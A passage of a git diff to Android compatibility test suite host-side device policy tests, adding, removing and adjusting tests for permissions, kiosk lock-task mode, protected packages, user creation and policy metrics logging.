         }, new DevicePolicyEventWrapper.Builder(EventId.SET_ALWAYS_ON_VPN_PACKAGE_VALUE)
                     .setAdminPackageName(DEVICE_ADMIN_PKG)
                     .setStrings(VPN_APP_PKG)
@@ -613,7 +522,7 @@
     }
 
     @Test
-    @FlakyTest(bugId = 187862351)
+    @FlakyTest(bugId = 205194911)
     public void testPermissionPrompts() throws Exception {
         installAppPermissionAppAsUser();
         executeDeviceTestMethod(".PermissionsTest", "testPermissionPrompts");
@@ -648,6 +557,10 @@
     @Test
     public void testPermissionGrantPreMApp() throws Exception {
         installAppAsUser(SIMPLE_PRE_M_APP_APK, mUserId);
+
+        if (isHeadlessSystemUserMode()) {
+            installAppAsUser(SIMPLE_PRE_M_APP_APK, mDeviceOwnerUserId);
+        }
         executeDeviceTestMethod(".PermissionsTest", "testPermissionGrantState_preMApp");
     }
 
@@ -665,26 +578,6 @@
     }
 
     @Test
-    public void testScreenCaptureDisabled() throws Exception {
-        assertMetricsLogged(getDevice(), () -> {
-            // We need to ensure that the policy is deactivated for the device owner case, so making
-            // sure the second test is run even if the first one fails
-            try {
-                setScreenCaptureDisabled(mUserId, true);
-            } finally {
-                setScreenCaptureDisabled(mUserId, false);
-            }
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_SCREEN_CAPTURE_DISABLED_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(true)
-                    .build(),
-            new DevicePolicyEventWrapper.Builder(EventId.SET_SCREEN_CAPTURE_DISABLED_VALUE)
-                    .setAdminPackageName(DEVICE_ADMIN_PKG)
-                    .setBoolean(false)
-                    .build());
-    }
-
-    @Test
     public void testScreenCaptureDisabled_assist() throws Exception {
         try {
             // Install and enable assistant, notice that profile can't have assistant.
@@ -699,21 +592,6 @@
     }
 
     @Test
-    public void testSupportMessage() throws Exception {
-        executeDeviceTestClass(".SupportMessageTest");
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".SupportMessageTest", "testShortSupportMessageSetGetAndClear");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_SHORT_SUPPORT_MESSAGE_VALUE)
-                .setAdminPackageName(DEVICE_ADMIN_PKG)
-                .build());
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".SupportMessageTest", "testLongSupportMessageSetGetAndClear");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_LONG_SUPPORT_MESSAGE_VALUE)
-                .setAdminPackageName(DEVICE_ADMIN_PKG)
-                .build());
-    }
-
-    @Test
     public void testApplicationHidden() throws Exception {
         installAppPermissionAppAsUser();
         executeDeviceTestClass(".ApplicationHiddenTest");
@@ -734,68 +612,12 @@
 
     @Test
     public void testApplicationHidden_cannotHidePolicyExemptApps() throws Exception {
+        // Needed to access dpm.getPolicyExemptApps()
+        allowTestApiAccess(DEVICE_ADMIN_PKG);
         executeDeviceTestMethod(".ApplicationHiddenTest", "testCannotHidePolicyExemptApps");
     }
 
     @Test
-    public void testAccountManagement_deviceAndProfileOwnerAlwaysAllowed() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        executeDeviceTestClass(".AllowedAccountManagementTest");
-    }
-
-    @Test
-    public void testAccountManagement_userRestrictionAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    @Test
-    public void testAccountManagement_userRestrictionRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, true, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we clear the user restriction
-            changeUserRestrictionOrFail(DISALLOW_MODIFY_ACCOUNTS, false, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
-    @Test
-    public void testAccountManagement_disabledAddAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testAddAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testAddAccount_allowed");
-    }
-
-    @Test
-    public void testAccountManagement_disabledRemoveAccount() throws Exception {
-        installAppAsUser(ACCOUNT_MANAGEMENT_APK, mUserId);
-        try {
-            changeAccountManagement(COMMAND_BLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-            executeAccountTest("testRemoveAccount_blocked");
-        } finally {
-            // Ensure we remove account management policies
-            changeAccountManagement(COMMAND_UNBLOCK_ACCOUNT_TYPE, ACCOUNT_TYPE, mUserId);
-        }
-        executeAccountTest("testRemoveAccount_allowed");
-    }
-
-    @Test
     public void testDelegatedCertInstaller() throws Exception {
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
@@ -831,8 +653,12 @@
     // This test currently duplicates the testDelegatedCertInstaller, with one difference:
     // The Delegated cert installer app is called directly rather than via intents from
     // the DelegatedCertinstallerTest.
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testDelegatedCertInstallerDirectly() throws Exception {
+        assumeTrue(mHasAttestation);
+
         setUpDelegatedCertInstallerAndRunTests(() ->
             runDeviceTestsAsUser("com.android.cts.certinstaller",
                     ".DirectDelegatedCertInstallerTest", mUserId));
@@ -840,8 +666,12 @@
 
     // This test generates a key pair and validates that an app can be silently granted
     // access to it.
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testSetKeyGrant() throws Exception {
+        assumeTrue(mHasAttestation);
+
         // Install an app
         installAppAsUser(CERT_INSTALLER_APK, mUserId);
 
@@ -1045,6 +875,54 @@
                     .build());
     }
 
+    @LargeTest
+    @Test
+    public void testLockTaskAfterReboot() throws Exception {
+        try {
+            // Just start kiosk mode
+            executeDeviceTestMethod(
+                    ".LockTaskHostDrivenTest", "testStartLockTask_noAsserts");
+
+            // Reboot while in kiosk mode and then unlock the device
+            rebootAndWaitUntilReady();
+
+            // Check that kiosk mode is working and can't be interrupted
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testCleanupLockTask_noAsserts");
+        }
+    }
+
+    @LargeTest
+    @Test
+    @Ignore("Ignored while migrating to new infrastructure b/175377361")
+    public void testLockTaskAfterReboot_tryOpeningSettings() throws Exception {
+        try {
+            // Just start kiosk mode
+            executeDeviceTestMethod(
+                    ".LockTaskHostDrivenTest", "testStartLockTask_noAsserts");
+
+            // Reboot while in kiosk mode and then unlock the device
+            rebootAndWaitUntilReady();
+
+            // Wait for the LockTask starting
+            waitForBroadcastIdle();
+
+            // Make sure that the LockTaskUtilityActivityIfWhitelisted was started.
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testLockTaskIsActive");
+
+            // Try to open settings via adb
+            executeShellCommand("am start -a android.settings.SETTINGS");
+
+            // Check again
+            executeDeviceTestMethod(".LockTaskHostDrivenTest",
+                    "testLockTaskIsActiveAndCantBeInterrupted");
+        } finally {
+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testCleanupLockTask_noAsserts");
+        }
+    }
+
     @FlakyTest(bugId = 141314026)
     @Test
     public void testSuspendPackage() throws Exception {
@@ -1175,21 +1053,6 @@
         executeDeviceTestMethod(".ResetPasswordTest", "testResetPasswordDeprecated");
     }
 
-    @LockSettingsTest
-    @Test
-    public void testResetPasswordWithToken() throws Exception {
-        assumeHasSecureLockScreenFeature();
-
-        // If ResetPasswordWithTokenTest for managed profile is executed before device owner and
-        // primary user profile owner tests, password reset token would have been disabled for
-        // the primary user, so executing ResetPasswordWithTokenTest on user 0 would fail. We allow
-        // this and do not fail the test in this case.
-        // This is the default test for MixedDeviceOwnerTest and MixedProfileOwnerTest,
-        // MixedManagedProfileOwnerTest overrides this method to execute the same test more strictly
-        // without allowing failures.
-        executeResetPasswordWithTokenTests(/* allowFailures */ true);
-    }
-
     @Test
     public void testPasswordSufficientInitially() throws Exception {
         executeDeviceTestClass(".PasswordSufficientInitiallyTest");
@@ -1274,12 +1137,6 @@
         executeDeviceTestClass(".SetSystemSettingTest");
     }
 
-    protected void executeResetPasswordWithTokenTests(boolean allowFailures)
-            throws Exception {
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ResetPasswordWithTokenTest", null, mUserId,
-                Collections.singletonMap(ARG_ALLOW_FAILURE, String.valueOf(allowFailures)));
-    }
-
     @Test
     public void testClearApplicationData_testPkg() throws Exception {
         installAppAsUser(INTENT_RECEIVER_APK, mUserId);
@@ -1312,6 +1169,8 @@
         executeDeviceTestClass(".PrintingPolicyTest");
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
+            reason = "Will be migrated to new test infra")
     @Test
     public void testKeyManagement() throws Exception {
         installAppAsUser(SHARED_UID_APP1_APK, mUserId);
@@ -1336,8 +1195,13 @@
                 .build());
     }
 
+    @TemporarilyIgnoreOnHeadlessSystemUserMode(bugId = "197859595",
+            reason = "Will be migrated to new test infra")
     @Test
+    // TODO(b/198408853): Migrate
     public void testGenerateKeyPairLogged() throws Exception {
+        assumeTrue(mHasAttestation);
+
         assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(
                         ".KeyManagementTest", "testCanGenerateKeyPairWithKeyAttestation");
@@ -1419,6 +1283,16 @@
 
     @Test
     public void testPasswordMethodsLogged() throws Exception {
+        if (isAutomotive()) {
+            assertMetricsLogged(getDevice(), () -> {
+                executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
+            }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_COMPLEXITY_VALUE)
+                    .setAdminPackageName(DEVICE_ADMIN_PKG)
+                    .setInt(0x50000)
+                    .setBoolean(false)
+                    .build());
+            return;
+        }
         assertMetricsLogged(getDevice(), () -> {
             executeDeviceTestMethod(".DevicePolicyLoggingTest", "testPasswordMethodsLogged");
         }, new DevicePolicyEventWrapper.Builder(EventId.SET_PASSWORD_QUALITY_VALUE)
@@ -1745,34 +1619,6 @@
     }
 
     @Test
-    public void testEnrollmentSpecificIdCorrectCalculation() throws Exception {
-
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
-                "testCorrectCalculationOfEsid", mUserId);
-    }
-
-    @Test
-    public void testEnrollmentSpecificIdCorrectCalculationLogged() throws Exception {
-        boolean isManagedProfile = (mPrimaryUserId != mUserId);
-
-        assertMetricsLogged(getDevice(), () -> {
-            executeDeviceTestMethod(".EnrollmentSpecificIdTest",
-                    "testCorrectCalculationOfEsid");
-        }, new DevicePolicyEventWrapper.Builder(EventId.SET_ORGANIZATION_ID_VALUE)
-                .setAdminPackageName(DEVICE_ADMIN_PKG)
-                .setBoolean(isManagedProfile)
-                .build());
-    }
-
-    @Test
-    public void testEnrollmentSpecificIdEmptyAndMultipleSet() throws DeviceNotAvailableException {
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
-                "testThrowsForEmptyOrganizationId", mUserId);
-        runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".EnrollmentSpecificIdTest",
-                "testThrowsWhenTryingToReSetOrganizationId", mUserId);
-    }
-
-    @Test
     public void testAdminControlOverSensorPermissionGrantsDefault() throws Exception {
         // By default, admin should not be able to grant sensors-related permissions.
         executeDeviceTestMethod(".SensorPermissionGrantTest",
@@ -1844,12 +1690,11 @@
      * Executes a test class on device. Prior to running, turn off background data usage
      * restrictions, and restore the original restrictions after the test.
      */
-    private void executeDeviceTestClassNoRestrictBackground(String className) throws Exception {
+    private void executeDeviceTestClassNoRestrictBackground(String className, int userId)
+            throws Exception {
         boolean originalRestriction = ensureRestrictBackgroundPolicyOff();
         try {
-            executeDeviceTestClass(className);
-        } catch (Exception e) {
-            throw e;
+            executeDeviceTestClass(className, userId);
         } finally {
             // if the test throws exception, still restore the policy
             restoreRestrictBackgroundPolicyTo(originalRestriction);
@@ -1860,10 +1705,19 @@
         executeDeviceTestMethod(className, /* testName= */ null);
     }
 
+    protected void executeDeviceTestClass(String className, int userId) throws Exception {
+        executeDeviceTestMethod(className, /* testName= */ null, userId);
+    }
+
     protected void executeDeviceTestMethod(String className, String testName) throws Exception {
         executeDeviceTestMethod(className, testName, /* params= */ new HashMap<>());
     }
 
+    protected void executeDeviceTestMethod(String className, String testName, int userId)
+            throws Exception {
+        executeDeviceTestMethod(className, testName, userId, /* params= */ new HashMap<>());
+    }
+
     protected void executeDeviceTestMethod(String className, String testName,
             Map<String, String> params) throws Exception {
         executeDeviceTestMethod(className, testName, mUserId, params);
@@ -1876,7 +1730,12 @@
 
     protected void installAppPermissionAppAsUser()
             throws FileNotFoundException, DeviceNotAvailableException {
-        installAppAsUser(PERMISSIONS_APP_APK, false, mUserId);
+        installAppPermissionAppAsUser(mUserId);
+    }
+
+    protected final void installAppPermissionAppAsUser(int userId)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        installAppAsUser(PERMISSIONS_APP_APK, false, userId);
     }
 
     private void executeSuspendPackageTestMethod(String testName) throws Exception {
@@ -1902,6 +1761,8 @@
             throws Exception {
         for (Map.Entry<String, DevicePolicyEventWrapper[]> entry : delegationTests.entrySet()) {
             final String delegationTestClass = entry.getKey();
+            CLog.i("executeDelegationTests(): executing %s (%s)", delegationTestClass,
+                    positive ? "positive" : "negative");
             final DevicePolicyEventWrapper[] expectedMetrics = entry.getValue();
             final DevicePolicyEventLogVerifier.Action testRun = () -> {
                 runDeviceTestsAsUser(DELEGATE_APP_PKG, delegationTestClass,
@@ -1968,21 +1829,6 @@
         startActivityAsUser(userId, TEST_APP_PKG, TEST_APP_PKG + ".SimpleActivity");
     }
 
-    protected void setScreenCaptureDisabled(int userId, boolean disabled) throws Exception {
-        String testMethodName = disabled
-                ? "testSetScreenCaptureDisabled_true"
-                : "testSetScreenCaptureDisabled_false";
-        executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
-
-        testMethodName = disabled
-                ? "testScreenCaptureImpossible"
-                : "testScreenCapturePossible";
-
-        startSimpleActivityAsUser(userId);
-        executeDeviceTestMethod(".ScreenCaptureDisabledTest", testMethodName);
-        forceStopPackageForUser(TEST_APP_PKG, userId);
-    }
-
     protected void setScreenCaptureDisabled_assist(int userId, boolean disabled) throws Exception {
         // Set the policy.
         String testMethodName = disabled
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index fb4b6ff..b9e21f4 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -25,9 +25,9 @@
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.platform.test.annotations.AsbSecurityTest;
 import android.platform.test.annotations.FlakyTest;
 import android.platform.test.annotations.LargeTest;
-import android.platform.test.annotations.AsbSecurityTest;
 import android.stats.devicepolicy.EventId;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -39,7 +39,6 @@
 import org.junit.Test;
 
 import java.io.File;
-import java.util.ArrayList;
 import java.util.Collections;
 import java.util.List;
 import java.util.Map;
@@ -61,9 +60,6 @@
     private static final String SIMPLE_APP_PKG = "com.android.cts.launcherapps.simpleapp";
     private static final String SIMPLE_APP_ACTIVITY = SIMPLE_APP_PKG + ".SimpleActivity";
 
-    private static final String SIMPLE_SMS_APP_PKG = "android.telephony.cts.sms.simplesmsapp";
-    private static final String SIMPLE_SMS_APP_APK = "SimpleSmsApp.apk";
-
     private static final String WIFI_CONFIG_CREATOR_PKG =
             "com.android.cts.deviceowner.wificonfigcreator";
     private static final String WIFI_CONFIG_CREATOR_APK = "CtsWifiConfigCreator.apk";
@@ -122,27 +118,6 @@
         }
     }
 
-    @FlakyTest(bugId = 137071121)
-    @Test
-    public void testCreateAndManageUser_LowStorage() throws Exception {
-        assumeCanCreateOneManagedUser();
-
-        try {
-            // Force low storage
-            getDevice().setSetting("global", "sys_storage_threshold_percentage", "100");
-            getDevice().setSetting("global", "sys_storage_threshold_max_bytes",
-                    String.valueOf(Long.MAX_VALUE));
-
-            // The next createAndManageUser should return USER_OPERATION_ERROR_LOW_STORAGE.
-            executeCreateAndManageUserTest("testCreateAndManageUser_LowStorage");
-        } finally {
-            getDevice().executeShellCommand(
-                    "settings delete global sys_storage_threshold_percentage");
-            getDevice().executeShellCommand(
-                    "settings delete global sys_storage_threshold_max_bytes");
-        }
-    }
-
     @Test
     public void testCreateAndManageUser_MaxUsers() throws Exception {
         assumeCanCreateOneManagedUser();
@@ -357,6 +332,53 @@
         executeCreateAndManageUserTest("testCreateAndManageUser_RemoveRestrictionSet");
     }
 
+    @Test
+    public void testCreateAndManageUser_newUserDisclaimer() throws Exception {
+        assumeCanStartNewUser();
+
+        // TODO(b/217367529) - we need to grant INTERACT_ACROSS_USERS to the test app in the new
+        // user, so the test is retrying until it gets it, which is done in this thread - not the
+        // best approach, but given that the test cases are being migrated to the new infra,
+        // it's good enough enough...
+        int waitingTimeMs = 5_000;
+        final int maxAttempts = 10;
+        new Thread(() -> {
+            int attempt = 0;
+            boolean granted = false;
+            while (!granted && ++attempt <= maxAttempts) {
+                try {
+                    List<Integer> newUsers = getUsersCreatedByTests();
+                    if (!newUsers.isEmpty()) {
+                        for (int userId : newUsers) {
+                            CLog.i("Checking if user %d is current user", userId);
+                            int currentUser = getCurrentUser();
+                            if (currentUser != userId) continue;
+                            CLog.i("Checking if user %d has the package", userId);
+                            if (!isPackageInstalledForUser(DEVICE_OWNER_PKG, userId)) continue;
+                            grantPermission(DEVICE_OWNER_PKG, PERMISSION_INTERACT_ACROSS_USERS,
+                                    userId, "to call isNewUserDisclaimerAcknowledged() and "
+                                    + "acknowledgeNewUserDisclaimer()");
+                            granted = true;
+                        }
+                    }
+
+                    if (!granted) {
+                        CLog.i("Waiting %dms until new user is switched and package installed "
+                                + "to grant INTERACT_ACROSS_USERS", waitingTimeMs);
+                    }
+                    sleep(waitingTimeMs);
+                } catch (Exception e) {
+                    CLog.e(e);
+                    return;
+                }
+            }
+            CLog.i("%s says: Good Bye, and thanks for all the fish! BTW, granted=%b in %d attempts",
+                    Thread.currentThread(), granted, attempt);
+        }, "testCreateAndManageUser_newUserDisclaimer_Thread").start();
+
+        executeCreateAndManageUserTest("testCreateAndManageUser_newUserDisclaimer");
+    }
+
     @FlakyTest(bugId = 126955083)
     @Test
     public void testUserAddedOrRemovedBroadcasts() throws Exception {
@@ -785,17 +807,6 @@
     }
 
     @Test
-    public void testDefaultSmsApplication() throws Exception {
-        assumeHasTelephonyFeature();
-
-        installAppAsUser(SIMPLE_SMS_APP_APK, mPrimaryUserId);
-
-        executeDeviceTestMethod(".DefaultSmsApplicationTest", "testSetDefaultSmsApplication");
-
-        getDevice().uninstallPackage(SIMPLE_SMS_APP_PKG);
-    }
-
-    @Test
     public void testNoHiddenActivityFoundTest() throws Exception {
         try {
             // Install app to primary user
@@ -840,51 +851,11 @@
     }
 
     @Test
-    public void testSetUserControlDisabledPackages_singleUser_verifyMetricIsLogged()
-            throws Exception {
-        final List<Integer> otherUserIds = new ArrayList<>();
-        try {
-            setupDeviceForSetUserControlDisabledPackagesTesting(otherUserIds);
-
-            // Set the package under test as a protected package.
-            assertMetricsLogged(getDevice(),
-                    () -> executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                            "testSetUserControlDisabledPackages"),
-                    new DevicePolicyEventWrapper.Builder(
-                            EventId.SET_USER_CONTROL_DISABLED_PACKAGES_VALUE)
-                            .setAdminPackageName(DEVICE_OWNER_PKG)
-                            .setStrings(new String[] {SIMPLE_APP_PKG})
-                            .build());
-        } finally {
-            cleanupProtectedPackage(otherUserIds);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, mPrimaryUserId);
-        }
-    }
-
-    @Test
-    public void testSetUserControlDisabledPackages_singleUser_verifyPackageNotStopped()
-            throws Exception {
-        final List<Integer> otherUserIds = new ArrayList<>();
-        try {
-            setupDeviceForSetUserControlDisabledPackagesTesting(otherUserIds);
-            // Set the package under test as a protected package.
-            executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                    "testSetUserControlDisabledPackages");
-
-            // Try to stop the package on the primary user.
-            tryStoppingProtectedPackage(otherUserIds, /* canUserStopPackage= */ false);
-        } finally {
-            cleanupProtectedPackage(otherUserIds);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, mPrimaryUserId);
-        }
-    }
-
-    @Test
     public void testSetUserControlDisabledPackages_singleUser_reboot_verifyPackageNotStopped()
             throws Exception {
-        final List<Integer> otherUserIds = new ArrayList<>();
         try {
-            setupDeviceForSetUserControlDisabledPackagesTesting(otherUserIds);
+            installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
+            startProtectedPackage(mPrimaryUserId);
             // Set the package under test as a protected package.
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
                     "testSetUserControlDisabledPackages");
@@ -894,128 +865,69 @@
 
             // The simple app package seems to be set into stopped state on reboot.
             // Launch the activity again to get it out of stopped state on the primary user.
-            startProtectedPackage(otherUserIds);
-            // Try to stop the package on the primary user.
-            tryStoppingProtectedPackage(otherUserIds, /* canUserStopPackage= */ false);
+            startProtectedPackage(mPrimaryUserId);
+            // Try to force-stop the package under test on the primary user.
+            tryStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ false);
         } finally {
-            cleanupProtectedPackage(otherUserIds);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, mPrimaryUserId);
+            // Clear the protected packages so that the package under test can be force-stopped.
+            runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+                    "testClearSetUserControlDisabledPackages", mPrimaryUserId);
+            tryStoppingProtectedPackage(mPrimaryUserId, /* canUserStopPackage= */ true);
+
+            // Removal of the installed simple app on the primary user is done in tear down.
         }
     }
 
     @Test
-    public void testSetUserControlDisabledPackages_multiUser_verifyMetricIsLogged()
-            throws Exception {
-        assumeCanCreateAdditionalUsers(1);
-        final int userId = createUser();
-        final List<Integer> otherUserIds = new ArrayList<>();
-        otherUserIds.add(userId);
-        try {
-            setupDeviceForSetUserControlDisabledPackagesTesting(otherUserIds);
-
-            // Set the package under test as a protected package.
-            assertMetricsLogged(getDevice(),
-                    () -> executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                            "testSetUserControlDisabledPackages"),
-                    new DevicePolicyEventWrapper.Builder(
-                            EventId.SET_USER_CONTROL_DISABLED_PACKAGES_VALUE)
-                            .setAdminPackageName(DEVICE_OWNER_PKG)
-                            .setStrings(new String[] {SIMPLE_APP_PKG})
-                            .build());
-        } finally {
-            cleanupProtectedPackage(otherUserIds);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, mPrimaryUserId);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, userId);
-            removeUser(userId);
-        }
-    }
-
-    @Test
-    public void testSetUserControlDisabledPackages_multiUser_verifyPackageNotStopped()
-            throws Exception {
-        assumeCanCreateAdditionalUsers(1);
-        final int userId = createUser();
-        final List<Integer> otherUserIds = new ArrayList<>();
-        otherUserIds.add(userId);
-        try {
-            setupDeviceForSetUserControlDisabledPackagesTesting(otherUserIds);
-            // Set the package under test as a protected package.
-            executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                    "testSetUserControlDisabledPackages");
-
-            // Try to stop the package under test on all users.
-            tryStoppingProtectedPackage(otherUserIds, /* canUserStopPackage= */ false);
-        } finally {
-            cleanupProtectedPackage(otherUserIds);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, mPrimaryUserId);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, userId);
-            removeUser(userId);
-        }
-    }
-
-    @Test
+    @Ignore("b/204508654")
     public void testSetUserControlDisabledPackages_multiUser_reboot_verifyPackageNotStopped()
             throws Exception {
         assumeCanCreateAdditionalUsers(1);
         final int userId = createUser();
-        final List<Integer> otherUserIds = new ArrayList<>();
-        otherUserIds.add(userId);
+
+        String stopBgUsersOnSwitchValue = getStopBgUsersOnSwitchProperty();
         try {
-            setupDeviceForSetUserControlDisabledPackagesTesting(otherUserIds);
-            // Set the package under test as a protected package.
-            executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                    "testSetUserControlDisabledPackages");
-
-            // Reboot and verify protected packages are persisted.
-            rebootAndWaitUntilReady();
-
-            // The simple app package seems to be set into stopped state on reboot.
-            // Launch the activity again to get it out of stopped state for all users.
-            startProtectedPackage(otherUserIds);
-            // Try to stop the package under test on all users.
-            tryStoppingProtectedPackage(otherUserIds, /* canUserStopPackage= */ false);
-        } finally {
-            cleanupProtectedPackage(otherUserIds);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, mPrimaryUserId);
-            getDevice().uninstallPackageForUser(SIMPLE_APP_APK, userId);
-            removeUser(userId);
-        }
-    }
-
-    /**
-     * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
-     * installs the app and starts the activity for the package that is under test for the primary
-     * user and provided users.
-     * @param otherUserIds The user Ids apart from the primary user that were created
-     */
-    private void setupDeviceForSetUserControlDisabledPackagesTesting(List<Integer> otherUserIds)
-            throws Exception {
-        // Install app on the primary user and other users.
-        installAppAsUser(SIMPLE_APP_APK, mPrimaryUserId);
-        if (!otherUserIds.isEmpty()) {
-            for (Integer userId : otherUserIds) {
+            // Set it to zero otherwise test will crash on automotive when switching users
+            setStopBgUsersOnSwitchProperty("0");
+            try {
                 installAppAsUser(SIMPLE_APP_APK, userId);
-            }
-        }
-
-        // Start the activity of the package under test on the primary user and other users.
-        startProtectedPackage(otherUserIds);
-    }
-
-    /**
-     * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
-     * starts the activity for the package that is under test for the primary user and provided
-     * users.
-     * @param otherUserIds The user Ids apart from the primary user that were created
-     */
-    private void startProtectedPackage(List<Integer> otherUserIds) throws Exception {
-        startProtectedPackage(mPrimaryUserId);
-        if (!otherUserIds.isEmpty()) {
-            for (Integer userId : otherUserIds) {
                 switchUser(userId);
                 startProtectedPackage(userId);
+                // Set the package under test as a protected package.
+                runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+                        "testSetUserControlDisabledPackages", mPrimaryUserId);
+
+                // Reboot and verify protected packages are persisted.
+                CLog.i("Reboot");
+                rebootAndWaitUntilReady();
+                CLog.i("Device is ready");
+
+                if (isHeadlessSystemUserMode()) {
+                    // Device stars on last user, so we need to explicitly start the user running
+                    // the tests
+                    startUser(mPrimaryUserId);
+                } else {
+                    // Device starts on the primary user and not on the last user (i.e. the created
+                    // user) before the reboot occurred.
+                    switchUser(userId);
+                }
+
+                // The simple app package seems to be set into stopped state on reboot.
+                // Launch the activity again to get it out of stopped state for the created user.
+                startProtectedPackage(userId);
+                // Try to force-stop the package under test on the created user.
+                tryStoppingProtectedPackage(userId, /* canUserStopPackage= */ false);
+            } finally {
+                // Clear the protected packages so that the package under test can be force-stopped.
+                runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".UserControlDisabledPackagesTest",
+                        "testClearSetUserControlDisabledPackages", mPrimaryUserId);
+                tryStoppingProtectedPackage(userId, /* canUserStopPackage= */ true);
+
+                // Removal of the created user and the installed simple app on the created user are
+                // done in tear down.
             }
-            switchUser(mPrimaryUserId);
+        } finally {
+            setStopBgUsersOnSwitchProperty(stopBgUsersOnSwitchValue);
         }
     }
 
@@ -1033,38 +945,6 @@
 
     /**
      * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
-     * removes the package under test as a protected package and stops the package under test for
-     * the primary user and provided users.
-     * @param otherUserIds The user Ids apart from the primary user that were created
-     */
-    private void cleanupProtectedPackage(List<Integer> otherUserIds) throws Exception {
-        executeDeviceTestMethod(".UserControlDisabledPackagesTest",
-                "testClearSetUserControlDisabledPackages");
-        tryStoppingProtectedPackage(otherUserIds, /* canUserStopPackage= */ true);
-    }
-
-    /**
-     * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
-     * attempts to stop protected package under test for the primary user and provided users.
-     * @param otherUserIds The user Ids apart from the primary user that were created
-     * @param canUserStopPackage Whether the user can force stop the protected package
-     */
-    private void tryStoppingProtectedPackage(List<Integer> otherUserIds, boolean canUserStopPackage)
-            throws Exception {
-        if (!otherUserIds.isEmpty()) {
-            for (Integer userId : otherUserIds) {
-                // TODO(b/188464764): Run device tests on the required user instead of switching
-                //  users
-                switchUser(userId);
-                tryStoppingProtectedPackage(userId, canUserStopPackage);
-            }
-            switchUser(mPrimaryUserId);
-        }
-        tryStoppingProtectedPackage(mPrimaryUserId, canUserStopPackage);
-    }
-
-    /**
-     * Helper when testing {@link DevicePolicyManager#setUserControlDisabledPackages} API that
